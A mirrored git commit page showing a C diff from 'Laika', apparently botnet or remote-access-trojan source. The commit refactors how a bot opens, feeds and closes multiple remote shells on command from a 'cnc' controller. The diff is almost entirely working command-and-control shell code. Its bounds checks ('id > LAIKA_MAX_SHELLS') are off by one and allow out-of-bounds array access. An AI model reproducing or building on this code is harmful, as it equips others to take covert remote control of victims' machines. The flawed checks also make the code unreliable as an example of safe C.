mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-11 18:30:08 +00:00
Major shell packet refactoring
- can now open multiple shells per peer (change LAIKA_MAX_SHELLS) - more sanity checking for public keys (new peers with duplicate keys are killed - misc. refactoring, added cnc/cpeer.[ch]
This commit is contained in:
@@ -30,11 +30,11 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
|
||||
laikaB_handleShellOpen,
|
||||
sizeof(uint16_t) + sizeof(uint16_t),
|
||||
sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
|
||||
laikaB_handleShellClose,
|
||||
0,
|
||||
sizeof(uint32_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
laikaB_handleShellData,
|
||||
@@ -57,6 +57,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
struct hostent *host;
|
||||
char *tempINBuf;
|
||||
size_t _unused;
|
||||
int i;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
@@ -70,8 +71,12 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
laikaT_initTaskService(&bot->tService);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
|
||||
bot->shell = NULL;
|
||||
/* init shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
bot->shells[i] = NULL;
|
||||
}
|
||||
bot->shellTask = NULL;
|
||||
bot->activeShells = 0;
|
||||
|
||||
/* generate keypair */
|
||||
if (sodium_init() < 0) {
|
||||
@@ -114,9 +119,11 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
int i;
|
||||
|
||||
/* clear shell */
|
||||
if (bot->shell)
|
||||
laikaB_freeShell(bot, bot->shell);
|
||||
/* clear shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if (bot->shells[i])
|
||||
laikaB_freeShell(bot, bot->shells[i]);
|
||||
}
|
||||
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
|
@@ -7,53 +7,100 @@
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
||||
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
||||
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
||||
|
||||
/* start shell task */
|
||||
if (!bot->shellTask)
|
||||
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
|
||||
|
||||
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
uint32_t id = laikaB_getShellID(bot, shell);
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
|
||||
laikaB_freeRAWShell(bot, shell);
|
||||
|
||||
bot->shells[id] = NULL;
|
||||
|
||||
if (--bot->activeShells == 0) {
|
||||
/* stop shell task */
|
||||
laikaT_delTask(&bot->tService, bot->shellTask);
|
||||
bot->shellTask = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
uint16_t cols, rows;
|
||||
|
||||
/* check if shell is already open */
|
||||
if (bot->shell)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
||||
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
||||
|
||||
/* check if shell is already open */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
|
||||
|
||||
/* open shell & if we failed, tell cnc */
|
||||
if ((bot->shell = laikaB_newShell(bot, cols, rows)) == NULL)
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
|
||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
}
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
|
||||
/* check if shell is not running */
|
||||
if (bot->shell == NULL)
|
||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
|
||||
|
||||
/* close shell */
|
||||
laikaB_freeShell(bot, bot->shell);
|
||||
laikaB_freeShell(bot, shell);
|
||||
}
|
||||
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell = bot->shell;
|
||||
|
||||
/* sanity check shell */
|
||||
if (bot->shell == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
/* read data buf */
|
||||
laikaS_read(&peer->sock, buf, sz);
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
|
||||
|
||||
/* sanity check shell */
|
||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz);
|
||||
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
|
||||
}
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell;
|
||||
int i;
|
||||
|
||||
laikaB_readShell(bot, bot->shell);
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if ((shell = bot->shells[i]))
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
}
|
Reference in New Issue
Block a user